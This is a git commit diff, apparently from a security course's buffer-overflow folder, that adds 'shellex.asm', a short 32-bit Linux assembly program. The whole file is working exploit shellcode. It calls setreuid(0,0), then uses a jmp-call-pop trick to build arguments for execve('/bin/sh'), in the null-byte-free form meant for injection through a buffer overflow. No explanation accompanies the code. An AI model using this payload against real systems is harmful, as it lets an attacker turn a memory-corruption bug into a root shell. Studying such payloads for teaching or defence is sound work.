summaryrefslogtreecommitdiff
path: root/c_seguridad/code/bof/shellex.asm
diff options
context:
space:
mode:
Diffstat (limited to 'c_seguridad/code/bof/shellex.asm')
-rw-r--r--c_seguridad/code/bof/shellex.asm25
1 files changed, 25 insertions, 0 deletions
diff --git a/c_seguridad/code/bof/shellex.asm b/c_seguridad/code/bof/shellex.asm
new file mode 100644
index 0000000..00968ea
--- /dev/null
+++ b/c_seguridad/code/bof/shellex.asm
@@ -0,0 +1,25 @@
+SECTION .text
+global _start
+_start:
+ xor eax, eax
+ mov al, 70
+ xor ebx, ebx
+ xor ecx, ecx
+ int 0x80
+
+ jmp short ender
+
+starter:
+ xor eax, eax
+ pop ebx
+ mov [ebx+7], al
+ mov [ebx+8], ebx
+ mov [ebx+12], eax
+ mov al, 11
+ lea ecx, [ebx+8]
+ lea edx, [ebx+12]
+ int 0x80
+
+ender:
+ call starter
+ db "/bin/shNAAAABBBB"